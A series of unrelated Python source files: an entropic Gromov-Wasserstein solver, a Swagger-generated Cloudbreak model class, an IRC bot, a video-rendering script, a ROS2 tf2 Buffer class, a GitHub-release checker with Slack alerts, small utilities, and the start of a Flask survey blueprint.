def gromov_wasserstein(C1, C2, p, q, loss_fun, epsilon,
max_iter=1000, tol=1e-9, verbose=False, log=False):
"""
Returns the gromov-wasserstein coupling between the two measured similarity matrices
(C1,p) and (C2,q)
The function solves the following optimization problem:
.. math::
\GW = arg\min_T \sum_{i,j,k,l} L(C1_{i,k},C2_{j,l})*T_{i,j}*T_{k,l}-\epsilon(H(T))
s.t. \GW 1 = p
\GW^T 1= q
\GW\geq 0
Where :
C1 : Metric cost matrix in the source space
C2 : Metric cost matrix in the target space
p : distribution in the source space
q : distribution in the target space
L : loss function to account for the misfit between the similarity matrices
H : entropy
Parameters
----------
C1 : ndarray, shape (ns, ns)
Metric cost matrix in the source space
C2 : ndarray, shape (nt, nt)
Metric costfr matrix in the target space
p : ndarray, shape (ns,)
distribution in the source space
q : ndarray, shape (nt,)
distribution in the target space
loss_fun : string
loss function used for the solver either 'square_loss' or 'kl_loss'
epsilon : float
Regularization term >0
max_iter : int, optional
Max number of iterations
tol : float, optional
Stop threshold on error (>0)
verbose : bool, optional
Print information along iterations
log : bool, optional
record log if True
Returns
-------
T : ndarray, shape (ns, nt)
coupling between the two spaces that minimizes :
\sum_{i,j,k,l} L(C1_{i,k},C2_{j,l})*T_{i,j}*T_{k,l}-\epsilon(H(T))
"""
C1 = np.asarray(C1, dtype=np.float64)
C2 = np.asarray(C2, dtype=np.float64)
T = np.outer(p, q) # Initialization
cpt = 0
err = 1
while (err > tol and cpt < max_iter):
Tprev = T
if loss_fun == 'square_loss':
tens = tensor_square_loss(C1, C2, T)
elif loss_fun == 'kl_loss':
tens = tensor_kl_loss(C1, C2, T)
T = sinkhorn(p, q, tens, epsilon)
if cpt % 10 == 0:
# we can speed up the process by checking for the error only all
# the 10th iterations
err = np.linalg.norm(T - Tprev)
if log:
log['err'].append(err)
if verbose:
if cpt % 200 == 0:
print('{:5s}|{:12s}'.format(
'It.', 'Err') + '\n' + '-' * 19)
print('{:5d}|{:8e}|'.format(cpt, err))
cpt += 1
if log:
return T, log
else:
return T
def gromov_wasserstein2(C1, C2, p, q, loss_fun, epsilon,
max_iter=1000, tol=1e-9, verbose=False, log=False):
"""
Returns the gromov-wasserstein discrepancy between the two measured similarity matrices
(C1,p) and (C2,q)
The function solves the following optimization problem:
.. math::
\GW_Dist = \min_T \sum_{i,j,k,l} L(C1_{i,k},C2_{j,l})*T_{i,j}*T_{k,l}-\epsilon(H(T))
Where :
C1 : Metric cost matrix in the source space
C2 : Metric cost matrix in the target space
p : distribution in the source space
q : distribution in the target space
L : loss function to account for the misfit between the similarity matrices
H : entropy
Parameters
----------
C1 : ndarray, shape (ns, ns)
Metric cost matrix in the source space
C2 : ndarray, shape (nt, nt)
Metric costfr matrix in the target space
p : ndarray, shape (ns,)
distribution in the source space
q : ndarray, shape (nt,)
distribution in the target space
loss_fun : string
loss function used for the solver either 'square_loss' or 'kl_loss'
epsilon : float
Regularization term >0
max_iter : int, optional
Max number of iterations
tol : float, optional
Stop threshold on error (>0)
verbose : bool, optional
Print information along iterations
log : bool, optional
record log if True
Returns
-------
gw_dist : float
Gromov-Wasserstein distance
"""
if log:
gw, logv = gromov_wasserstein(
C1, C2, p, q, loss_fun, epsilon, max_iter, tol, verbose, log)
else:
gw = gromov_wasserstein(C1, C2, p, q, loss_fun,
epsilon, max_iter, tol, verbose, log)
if loss_fun == 'square_loss':
gw_dist = np.sum(gw * tensor_square_loss(C1, C2, gw))
elif loss_fun == 'kl_loss':
gw_dist = np.sum(gw * tensor_kl_loss(C1, C2, gw))
if log:
return gw_dist, logv
else:
return gw_dist
def gromov_barycenters(N, Cs, ps, p, lambdas, loss_fun, epsilon,
max_iter=1000, tol=1e-9, verbose=False, log=False, init_C=None):
"""
Returns the gromov-wasserstein barycenters of S measured similarity matrices
(Cs)_{s=1}^{s=S}
The function solves the following optimization problem:
.. math::
C = argmin_C\in R^NxN \sum_s \lambda_s GW(C,Cs,p,ps)
Where :
Cs : metric cost matrix
ps : distribution
Parameters
----------
N : Integer
Size of the targeted barycenter
Cs : list of S np.ndarray(ns,ns)
Metric cost matrices
ps : list of S np.ndarray(ns,)
sample weights in the S spaces
p : ndarray, shape(N,)
weights in the targeted barycenter
lambdas : list of float
list of the S spaces' weights
loss_fun : tensor-matrix multiplication function based on specific loss function
update : function(p,lambdas,T,Cs) that updates C according to a specific Kernel
with the S Ts couplings calculated at each iteration
epsilon : float
Regularization term >0
max_iter : int, optional
Max number of iterations
tol : float, optional
Stop threshol on error (>0)
verbose : bool, optional
Print information along iterations
log : bool, optional
record log if True
init_C : bool, ndarray, shape(N,N)
random initial value for the C matrix provided by user
Returns
-------
C : ndarray, shape (N, N)
Similarity matrix in the barycenter space (permutated arbitrarily)
"""
S = len(Cs)
Cs = [np.asarray(Cs[s], dtype=np.float64) for s in range(S)]
lambdas = np.asarray(lambdas, dtype=np.float64)
# Initialization of C : random SPD matrix (if not provided by user)
if init_C is None:
xalea = np.random.randn(N, 2)
C = dist(xalea, xalea)
C /= C.max()
else:
C = init_C
cpt = 0
err = 1
error = []
while(err > tol and cpt < max_iter):
Cprev = C
T = [gromov_wasserstein(Cs[s], C, ps[s], p, loss_fun, epsilon,
max_iter, 1e-5, verbose, log) for s in range(S)]
if loss_fun == 'square_loss':
C = update_square_loss(p, lambdas, T, Cs)
elif loss_fun == 'kl_loss':
C = update_kl_loss(p, lambdas, T, Cs)
if cpt % 10 == 0:
# we can speed up the process by checking for the error only all
# the 10th iterations
err = np.linalg.norm(C - Cprev)
error.append(err)
if log:
log['err'].append(err)
if verbose:
if cpt % 200 == 0:
print('{:5s}|{:12s}'.format(
'It.', 'Err') + '\n' + '-' * 19)
print('{:5d}|{:8e}|'.format(cpt, err))
cpt += 1
return C
|
nilq/baby-python
|
python
|
# coding: utf-8
"""
Cloudbreak API
Cloudbreak is a powerful left surf that breaks over a coral reef, a mile off southwest the island of Tavarua, Fiji. Cloudbreak is a cloud agnostic Hadoop as a Service API. Abstracts the provisioning and ease management and monitoring of on-demand clusters. SequenceIQ's Cloudbreak is a RESTful application development platform with the goal of helping developers to build solutions for deploying Hadoop YARN clusters in different environments. Once it is deployed in your favourite servlet container it exposes a REST API allowing to span up Hadoop clusters of arbitary sizes and cloud providers. Provisioning Hadoop has never been easier. Cloudbreak is built on the foundation of cloud providers API (Amazon AWS, Microsoft Azure, Google Cloud Platform, Openstack), Apache Ambari, Docker lightweight containers, Swarm and Consul. For further product documentation follow the link: <a href=\"http://hortonworks.com/apache/cloudbreak/\">http://hortonworks.com/apache/cloudbreak/</a>
OpenAPI spec version: 2.9.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class BaseImageResponse(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'hdp_stacks': 'list[StackDetailsJson]',
'hdf_stacks': 'list[StackDetailsJson]',
'_date': 'str',
'description': 'str',
'os': 'str',
'os_type': 'str',
'uuid': 'str',
'version': 'str',
'repo': 'dict(str, str)',
'images': 'dict(str, dict(str, str))',
'stack_details': 'StackDetailsJson',
'default_image': 'bool',
'package_versions': 'dict(str, str)'
}
attribute_map = {
'hdp_stacks': 'hdpStacks',
'hdf_stacks': 'hdfStacks',
'_date': 'date',
'description': 'description',
'os': 'os',
'os_type': 'osType',
'uuid': 'uuid',
'version': 'version',
'repo': 'repo',
'images': 'images',
'stack_details': 'stackDetails',
'default_image': 'defaultImage',
'package_versions': 'packageVersions'
}
def __init__(self, hdp_stacks=None, hdf_stacks=None, _date=None, description=None, os=None, os_type=None, uuid=None, version=None, repo=None, images=None, stack_details=None, default_image=False, package_versions=None):
"""
BaseImageResponse - a model defined in Swagger
"""
self._hdp_stacks = None
self._hdf_stacks = None
self.__date = None
self._description = None
self._os = None
self._os_type = None
self._uuid = None
self._version = None
self._repo = None
self._images = None
self._stack_details = None
self._default_image = None
self._package_versions = None
if hdp_stacks is not None:
self.hdp_stacks = hdp_stacks
if hdf_stacks is not None:
self.hdf_stacks = hdf_stacks
if _date is not None:
self._date = _date
if description is not None:
self.description = description
if os is not None:
self.os = os
if os_type is not None:
self.os_type = os_type
if uuid is not None:
self.uuid = uuid
if version is not None:
self.version = version
if repo is not None:
self.repo = repo
if images is not None:
self.images = images
if stack_details is not None:
self.stack_details = stack_details
if default_image is not None:
self.default_image = default_image
if package_versions is not None:
self.package_versions = package_versions
@property
def hdp_stacks(self):
"""
Gets the hdp_stacks of this BaseImageResponse.
:return: The hdp_stacks of this BaseImageResponse.
:rtype: list[StackDetailsJson]
"""
return self._hdp_stacks
@hdp_stacks.setter
def hdp_stacks(self, hdp_stacks):
"""
Sets the hdp_stacks of this BaseImageResponse.
:param hdp_stacks: The hdp_stacks of this BaseImageResponse.
:type: list[StackDetailsJson]
"""
self._hdp_stacks = hdp_stacks
@property
def hdf_stacks(self):
"""
Gets the hdf_stacks of this BaseImageResponse.
:return: The hdf_stacks of this BaseImageResponse.
:rtype: list[StackDetailsJson]
"""
return self._hdf_stacks
@hdf_stacks.setter
def hdf_stacks(self, hdf_stacks):
"""
Sets the hdf_stacks of this BaseImageResponse.
:param hdf_stacks: The hdf_stacks of this BaseImageResponse.
:type: list[StackDetailsJson]
"""
self._hdf_stacks = hdf_stacks
@property
def _date(self):
"""
Gets the _date of this BaseImageResponse.
:return: The _date of this BaseImageResponse.
:rtype: str
"""
return self.__date
@_date.setter
def _date(self, _date):
"""
Sets the _date of this BaseImageResponse.
:param _date: The _date of this BaseImageResponse.
:type: str
"""
self.__date = _date
@property
def description(self):
"""
Gets the description of this BaseImageResponse.
:return: The description of this BaseImageResponse.
:rtype: str
"""
return self._description
@description.setter
def description(self, description):
"""
Sets the description of this BaseImageResponse.
:param description: The description of this BaseImageResponse.
:type: str
"""
self._description = description
@property
def os(self):
"""
Gets the os of this BaseImageResponse.
:return: The os of this BaseImageResponse.
:rtype: str
"""
return self._os
@os.setter
def os(self, os):
"""
Sets the os of this BaseImageResponse.
:param os: The os of this BaseImageResponse.
:type: str
"""
self._os = os
@property
def os_type(self):
"""
Gets the os_type of this BaseImageResponse.
:return: The os_type of this BaseImageResponse.
:rtype: str
"""
return self._os_type
@os_type.setter
def os_type(self, os_type):
"""
Sets the os_type of this BaseImageResponse.
:param os_type: The os_type of this BaseImageResponse.
:type: str
"""
self._os_type = os_type
@property
def uuid(self):
"""
Gets the uuid of this BaseImageResponse.
:return: The uuid of this BaseImageResponse.
:rtype: str
"""
return self._uuid
@uuid.setter
def uuid(self, uuid):
"""
Sets the uuid of this BaseImageResponse.
:param uuid: The uuid of this BaseImageResponse.
:type: str
"""
self._uuid = uuid
@property
def version(self):
"""
Gets the version of this BaseImageResponse.
:return: The version of this BaseImageResponse.
:rtype: str
"""
return self._version
@version.setter
def version(self, version):
"""
Sets the version of this BaseImageResponse.
:param version: The version of this BaseImageResponse.
:type: str
"""
self._version = version
@property
def repo(self):
"""
Gets the repo of this BaseImageResponse.
:return: The repo of this BaseImageResponse.
:rtype: dict(str, str)
"""
return self._repo
@repo.setter
def repo(self, repo):
"""
Sets the repo of this BaseImageResponse.
:param repo: The repo of this BaseImageResponse.
:type: dict(str, str)
"""
self._repo = repo
@property
def images(self):
"""
Gets the images of this BaseImageResponse.
:return: The images of this BaseImageResponse.
:rtype: dict(str, dict(str, str))
"""
return self._images
@images.setter
def images(self, images):
"""
Sets the images of this BaseImageResponse.
:param images: The images of this BaseImageResponse.
:type: dict(str, dict(str, str))
"""
self._images = images
@property
def stack_details(self):
"""
Gets the stack_details of this BaseImageResponse.
:return: The stack_details of this BaseImageResponse.
:rtype: StackDetailsJson
"""
return self._stack_details
@stack_details.setter
def stack_details(self, stack_details):
"""
Sets the stack_details of this BaseImageResponse.
:param stack_details: The stack_details of this BaseImageResponse.
:type: StackDetailsJson
"""
self._stack_details = stack_details
@property
def default_image(self):
"""
Gets the default_image of this BaseImageResponse.
:return: The default_image of this BaseImageResponse.
:rtype: bool
"""
return self._default_image
@default_image.setter
def default_image(self, default_image):
"""
Sets the default_image of this BaseImageResponse.
:param default_image: The default_image of this BaseImageResponse.
:type: bool
"""
self._default_image = default_image
@property
def package_versions(self):
"""
Gets the package_versions of this BaseImageResponse.
:return: The package_versions of this BaseImageResponse.
:rtype: dict(str, str)
"""
return self._package_versions
@package_versions.setter
def package_versions(self, package_versions):
"""
Sets the package_versions of this BaseImageResponse.
:param package_versions: The package_versions of this BaseImageResponse.
:type: dict(str, str)
"""
self._package_versions = package_versions
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
if not isinstance(other, BaseImageResponse):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
|
nilq/baby-python
|
python
|
"""initialize the connection and wait for a message directed at it"""
from irc import *
from decision import *
import os
import random
channel = "#bitswebteam"
server = "irc.freenode.net"
nickname = "EisBot"
irc = IRC()
irc.connect(server, channel, nickname)
while 1:
text = irc.get_text()
print text
if "PRIVMSG" in text and channel in text and "@choose" in text:
irc.send(channel, decision.decide(text))
elif "PRIVMSG" in text and channel in text and "@adventure" in text:
irc.send(channel, "The adventure begins!..")
adventure.start()
|
nilq/baby-python
|
python
|
import pickle
import argparse
import cv2
from tqdm import tqdm
from lib.config import Config
def parse_args():
parser = argparse.ArgumentParser(description="Tool to generate qualitative results videos")
parser.add_argument("--pred", help=".pkl file to load predictions from")
parser.add_argument("--cfg", default="config.yaml", help="Config file")
parser.add_argument("--cover", default="tusimple_cover.png", help="Cover image file")
parser.add_argument("--out", default="video.avi", help="Output filename")
parser.add_argument("--view", action="store_true", help="Show predictions instead of creating video")
return parser.parse_args()
def add_cover_img(video, cover_path, frames=90):
cover = cv2.imread(cover_path)
for _ in range(frames):
video.write(cover)
def create_video(filename, width, height, fps=30):
fourcc = cv2.VideoWriter_fourcc(*'MP42')
video = cv2.VideoWriter(filename, fourcc, float(fps), (width, height))
return video
def main():
args = parse_args()
cfg = Config(args.cfg)
dataset = cfg.get_dataset('test')
height, width = cfg['datasets']['test']['parameters']['img_size']
print('Using resolution {}x{}'.format(width, height))
if not args.view:
video = create_video(args.out, width, height)
# add_cover_img(video, args.cover)
with open(args.pred, "rb") as pred_file:
predictions = pickle.load(pred_file)
for idx, pred in tqdm(zip(range(len(dataset)), predictions), total=len(dataset)):
if idx < 2200: continue
if idx > 3000: break
det_pred, cls_pred = pred
assert det_pred.shape[0] == 1 # batch size == 1
frame = dataset.draw_annotation(idx,
pred=det_pred[0].cpu().numpy(),
cls_pred=cls_pred[0].cpu().numpy() if cls_pred is not None else None)
assert frame.shape[:2] == (height, width)
if args.view:
cv2.imshow('frame', frame)
cv2.waitKey(0)
else:
video.write(frame)
if not args.view:
video.release()
print('Video saved as {}'.format(args.out))
if __name__ == '__main__':
main()
|
nilq/baby-python
|
python
|
# Copyright (c) 2008, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the Willow Garage, Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# author: Wim Meeussen
import threading
import rclpy
import tf2_py as tf2
import tf2_ros
from tf2_msgs.srv import FrameGraph
# TODO(vinnamkim): It seems rosgraph is not ready
# import rosgraph.masterapi
from time import sleep
from rclpy.duration import Duration
from rclpy.task import Future
class Buffer(tf2.BufferCore, tf2_ros.BufferInterface):
"""
Standard implementation of the :class:`tf2_ros.BufferInterface` abstract data type.
Inherits from :class:`tf2_ros.buffer_interface.BufferInterface` and :class:`tf2.BufferCore`.
Stores known frames and offers a ROS service, "tf_frames", which responds to client requests
with a response containing a :class:`tf2_msgs.FrameGraph` representing the relationship of
known frames.
"""
def __init__(self, cache_time = None, node = None):
"""
Constructor.
:param cache_time: (Optional) How long to retain past information in BufferCore.
:param node: (Optional) If node create a tf2_frames service, It responses all frames as a yaml
"""
if cache_time is not None:
tf2.BufferCore.__init__(self, cache_time)
else:
tf2.BufferCore.__init__(self)
tf2_ros.BufferInterface.__init__(self)
self._new_data_callbacks = []
self._callbacks_to_remove = []
self._callbacks_lock = threading.RLock()
if node is not None:
self.srv = node.create_service(FrameGraph, 'tf2_frames', self.__get_frames)
def __get_frames(self, req, res):
return FrameGraph.Response(frame_yaml=self.all_frames_as_yaml())
def set_transform(self, *args, **kwargs):
super().set_transform(*args, **kwargs)
self._call_new_data_callbacks()
def set_transform_static(self, *args, **kwargs):
super().set_transform_static(*args, **kwargs)
self._call_new_data_callbacks()
def _call_new_data_callbacks(self):
with self._callbacks_lock:
for callback in self._new_data_callbacks:
callback()
# Remove callbacks after to avoid modifying list being iterated on
for callback in self._callbacks_to_remove:
self._new_data_callbacks.remove(callback)
self._callbacks_to_remove.clear()
def _remove_callback(self, callback):
with self._callbacks_lock:
# Actually remove the callback later
self._callbacks_to_remove.append(callback)
def lookup_transform(self, target_frame, source_frame, time, timeout=Duration()):
"""
Get the transform from the source frame to the target frame.
:param target_frame: Name of the frame to transform into.
:param source_frame: Name of the input frame.
:param time: The time at which to get the transform. (0 will get the latest)
:param timeout: (Optional) Time to wait for the target frame to become available.
:return: The transform between the frames.
:rtype: :class:`geometry_msgs.msg.TransformStamped`
"""
self.can_transform(target_frame, source_frame, time, timeout)
return self.lookup_transform_core(target_frame, source_frame, time)
async def lookup_transform_async(self, target_frame, source_frame, time):
"""
Get the transform from the source frame to the target frame asyncronously.
:param target_frame: Name of the frame to transform into.
:param source_frame: Name of the input frame.
:param time: The time at which to get the transform. (0 will get the latest)
:return: the transform
:rtype: :class:`geometry_msgs.msg.TransformStamped`
"""
await self.wait_for_transform_async(target_frame, source_frame, time)
return self.lookup_transform_core(target_frame, source_frame, time)
def lookup_transform_full(self, target_frame, target_time, source_frame, source_time, fixed_frame, timeout=Duration()):
"""
Get the transform from the source frame to the target frame using the advanced API.
:param target_frame: Name of the frame to transform into.
:param target_time: The time to transform to. (0 will get the latest)
:param source_frame: Name of the input frame.
:param source_time: The time at which source_frame will be evaluated. (0 will get the latest)
:param fixed_frame: Name of the frame to consider constant in time.
:param timeout: (Optional) Time to wait for the target frame to become available.
:return: The transform between the frames.
:rtype: :class:`geometry_msgs.msg.TransformStamped`
"""
self.can_transform_full(target_frame, target_time, source_frame, source_time, fixed_frame, timeout)
return self.lookup_transform_full_core(target_frame, target_time, source_frame, source_time, fixed_frame)
async def lookup_transform_full_async(self, target_frame, target_time, source_frame, source_time, fixed_frame):
"""
Get the transform from the source frame to the target frame using the advanced API asyncronously.
:param target_frame: Name of the frame to transform into.
:param target_time: The time to transform to. (0 will get the latest)
:param source_frame: Name of the input frame.
:param source_time: The time at which source_frame will be evaluated. (0 will get the latest)
:param fixed_frame: Name of the frame to consider constant in time.
:return: the transform
:rtype: :class:`geometry_msgs.msg.TransformStamped`
"""
await self.wait_for_transform_full_async(target_frame, target_time, source_frame, source_time, fixed_frame)
return self.lookup_transform_full_core(target_frame, target_time, source_frame, source_time, fixed_frame)
def can_transform(self, target_frame, source_frame, time, timeout=Duration(), return_debug_tuple=False):
"""
Check if a transform from the source frame to the target frame is possible.
:param target_frame: Name of the frame to transform into.
:param source_frame: Name of the input frame.
:param time: The time at which to get the transform. (0 will get the latest)
:param timeout: (Optional) Time to wait for the target frame to become available.
:param return_debug_type: (Optional) If true, return a tuple representing debug information.
:return: True if the transform is possible, false otherwise.
:rtype: bool
"""
clock = rclpy.clock.Clock()
if timeout != Duration():
start_time = clock.now()
# TODO(vinnamkim): rclpy.Rate is not ready
# See https://github.com/ros2/rclpy/issues/186
# r = rospy.Rate(20)
while (clock.now() < start_time + timeout and
not self.can_transform_core(target_frame, source_frame, time)[0] and
(clock.now() + Duration(seconds=3.0)) >= start_time): # big jumps in time are likely bag loops, so break for them
# r.sleep()
sleep(0.02)
core_result = self.can_transform_core(target_frame, source_frame, time)
if return_debug_tuple:
return core_result
return core_result[0]
def can_transform_full(self, target_frame, target_time, source_frame, source_time, fixed_frame, timeout=Duration(),
return_debug_tuple=False):
"""
Check if a transform from the source frame to the target frame is possible (advanced API).
Must be implemented by a subclass of BufferInterface.
:param target_frame: Name of the frame to transform into.
:param target_time: The time to transform to. (0 will get the latest)
:param source_frame: Name of the input frame.
:param source_time: The time at which source_frame will be evaluated. (0 will get the latest)
:param fixed_frame: Name of the frame to consider constant in time.
:param timeout: (Optional) Time to wait for the target frame to become available.
:param return_debug_type: (Optional) If true, return a tuple representing debug information.
:return: True if the transform is possible, false otherwise.
:rtype: bool
"""
clock = rclpy.clock.Clock()
if timeout != Duration():
start_time = clock.now()
# TODO(vinnamkim): rclpy.Rate is not ready
# See https://github.com/ros2/rclpy/issues/186
# r = rospy.Rate(20)
while (clock.now() < start_time + timeout and
not self.can_transform_full_core(target_frame, target_time, source_frame, source_time, fixed_frame)[0] and
(clock.now() + Duration(seconds=3.0)) >= start_time): # big jumps in time are likely bag loops, so break for them
# r.sleep()
sleep(0.02)
core_result = self.can_transform_full_core(target_frame, target_time, source_frame, source_time, fixed_frame)
if return_debug_tuple:
return core_result
return core_result[0]
def wait_for_transform_async(self, target_frame, source_frame, time):
"""
Wait for a transform from the source frame to the target frame to become possible.
:param target_frame: Name of the frame to transform into.
:param source_frame: Name of the input frame.
:param time: The time at which to get the transform. (0 will get the latest)
:return: A future that becomes true when the transform is available
:rtype: rclpy.task.Future
"""
fut = rclpy.task.Future()
if self.can_transform_core(target_frame, source_frame, time)[0]:
# Short cut, the transform is available
fut.set_result(True)
return fut
def _on_new_data():
try:
if self.can_transform_core(target_frame, source_frame, time)[0]:
fut.set_result(True)
except BaseException as e:
fut.set_exception(e)
self._new_data_callbacks.append(_on_new_data)
fut.add_done_callback(lambda _: self._remove_callback(_on_new_data))
return fut
def wait_for_transform_full_async(self, target_frame, target_time, source_frame, source_time, fixed_frame):
"""
Wait for a transform from the source frame to the target frame to become possible.
:param target_frame: Name of the frame to transform into.
:param target_time: The time to transform to. (0 will get the latest)
:param source_frame: Name of the input frame.
:param source_time: The time at which source_frame will be evaluated. (0 will get the latest)
:param fixed_frame: Name of the frame to consider constant in time.
:return: A future that becomes true when the transform is available
:rtype: rclpy.task.Future
"""
fut = rclpy.task.Future()
if self.can_transform_full_core(target_frame, target_time, source_frame, source_time, fixed_frame)[0]:
# Short cut, the transform is available
fut.set_result(True)
return fut
def _on_new_data():
try:
if self.can_transform_full_core(target_frame, target_time, source_frame, source_time, fixed_frame)[0]:
fut.set_result(True)
except BaseException as e:
fut.set_exception(e)
self._new_data_callbacks.append(_on_new_data)
fut.add_done_callback(lambda _: self._remove_callback(_on_new_data))
return fut
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
"""
Copyright (c) 2018 Keitaro AB
Use of this source code is governed by an MIT license
that can be found in the LICENSE file or at
https://opensource.org/licenses/MIT.
"""
"""
Executable module for checking github version updates for repositories from repositories.txt
and alerting the slack channel in case of new unrecorded one
"""
import urllib.request
import json
import os
import etcd3
def check_version(repositories):
"""
For list of repositories, check their versions and recorded ones
:param repositories:
:return:
"""
for repository in repositories:
# user/repository
name_path = get_name_path(repository)
# github api url for requesting tag list
url = get_api_url(name_path)
# get the tag list
tags = get_tags(url)
check_records(name_path, tags[0])
def get_repositories():
"""
Parse repository list from file
:return:
"""
repositories = []
with open('/app/repositories.txt', 'r') as file:
content = file.readlines()
repositories = [row.strip() for row in content if row.strip()[0] != '#']
return repositories
def alert_slack(repository, new_version):
"""
Alerts the slack channel with formatting and content of message
:param repository:
:param new_version:
:param slack_hook:
:return:
"""
slack_hook = os.environ.get('SLACK_HOOK')
slack_channel = os.environ.get('SLACK_CHANNEL', '#random')
request_dict = dict()
request_dict['attachments'] = []
attachment = dict()
attachment['fallback'] = "New version ({}) found for {}!".format(new_version, repository)
attachment['color'] = '#4286f4'
attachment['title'] = "New version found for {}!".format(repository)
attachment['fields'] = [
{
'title': "Repository: _*{}*_".format(repository),
'value': "New version: `{}`".format(new_version)
},
{
'value': "Url: https://github.com/{}/releases/tag/{}".format(repository, new_version)
}
]
request_dict['attachments'].append(attachment)
request_dict['channel'] = slack_channel
request_dict['link_names'] = 1
request_dict['username'] = 'version-check-bot'
request_dict['icon_emoji'] = ':arrow_up:'
# convert dict to json, and encode it with utf-8
request_data = json.dumps(request_dict).encode('utf-8')
request = urllib.request.Request(slack_hook, request_data, {'Content-type': 'application/json'}, method="POST")
response = urllib.request.urlopen(request)
# TODO: parse response
return response
def get_tags(url):
"""
Function for obtaining tags from url
:param url:
:return tags:
"""
reader = urllib.request.urlopen(url)
json_raw = reader.read()
reader.close()
json_parsed = json.loads(json_raw)
tags = []
for tag_object in json_parsed:
tag = tag_object['ref'].split('/')[-1]
# skip beta and alpha tags, and the minio bad first old tag
if 'beta' not in tag and 'alpha' not in tag and 'release-1434511043' not in tag:
tags.append(tag)
return sorted(tags, reverse=True)
def get_name_path(url):
"""
Function for getting the repository name from given github url
:param url:
:return:
"""
# remove trailing slash
if url[-1] == '/':
url = url[:-1]
url_split = url.split('/')
if len(url_split) > 2:
return url_split[-1] + '/' + url_split[-2]
# if only user/repo is given instead of full url
return url
def get_api_url(for_repository):
"""
Get the api url for GET request to obtain tags
:param for_repository:
:return:
"""
api_url = 'https://api.github.com/repos/{}/git/refs/tags'.format(for_repository)
return api_url
def etcd_client():
"""
Creates an etcd client instance with connection
:return: returns an etcd client instance
"""
host = os.environ.get('ETCD_HOST')
port = os.environ.get('ETCD_PORT')
etcd = etcd3.client(host=host, port=port)
return etcd
def check_records(repository, version):
"""
Checks if there is a record for the repository with that version,
if not, sends an alert
:param repository:
:param version:
:return:
"""
etcd = etcd_client()
records = [(x[1].key.decode('utf-8'), x[0].decode('utf-8')) for x in etcd.get_prefix('/version-check')]
etcd_key_path = '/version-check/{}'.format(repository)
# get recorded version
recorded_version_bytes = etcd.get(etcd_key_path)[0]
# if none found, send alert and update records
if recorded_version_bytes is None:
alert_slack(repository, version)
etcd.put(etcd_key_path, version)
return True
# decode the bytes
recorded_version = recorded_version_bytes.decode('utf-8')
# if the recorded version is different, update and send alert
if recorded_version != version:
alert_slack(repository, version)
etcd.put(etcd_key_path, version)
return True
return False
if __name__ == '__main__':
check_version(get_repositories())
|
nilq/baby-python
|
python
|
from enum import Enum
class Order(Enum):
ASC = "ASC"
DESC = "DESC"
class DatabaseType(Enum):
PSYCOPG2 = "PSYCOPG2"
SQLITE3 = "SQLITE3"
class Fetch(Enum):
ONE = "ONE"
ALL = "ALL"
|
nilq/baby-python
|
python
|
# -*- coding:utf-8 -*-
import threading
local_value = threading.local()
def test_put_thread(value):
local_value.value = value
test_read_thread()
def test_read_thread():
print(local_value.value + " in thread: %s" % threading.current_thread().name)
t1 = threading.Thread(target=test_put_thread, args=("张三",), name='Thread-A')
t2 = threading.Thread(target=test_put_thread, args=("李四",), name='Thread-B')
t1.start()
t2.start()
t1.join()
t2.join()
|
nilq/baby-python
|
python
|
from flask import (Blueprint, render_template, redirect, request, url_for,
abort, flash)
from itsdangerous import URLSafeTimedSerializer
from app import app, models, db
from app.models import Survey, SurveyOptions
from app.forms import survey as survey_forms
from sqlalchemy import func
# Create a survey blueprint
surveybp = Blueprint('surveybp', __name__, url_prefix='/survey')
# Function to Create a New Survey
@surveybp.route('/create_survey', methods=['GET','POST'])
def create_survey():
form = survey_forms.CreateSurvey()
if form.validate_on_submit():
# Create a survey with options
survey_name=form.survey_name.data,
created_by_user_id=form.created_by_user_id.data,
survey_options_list=[]
survey_options_list.append(form.option1.data)
survey_options_list.append(form.option2.data)
if form.option3.data:
survey_options_list.append(form.option3.data)
if form.option4.data:
survey_options_list.append(form.option4.data)
if form.option5.data:
survey_options_list.append(form.option5.data)
if form.option6.data:
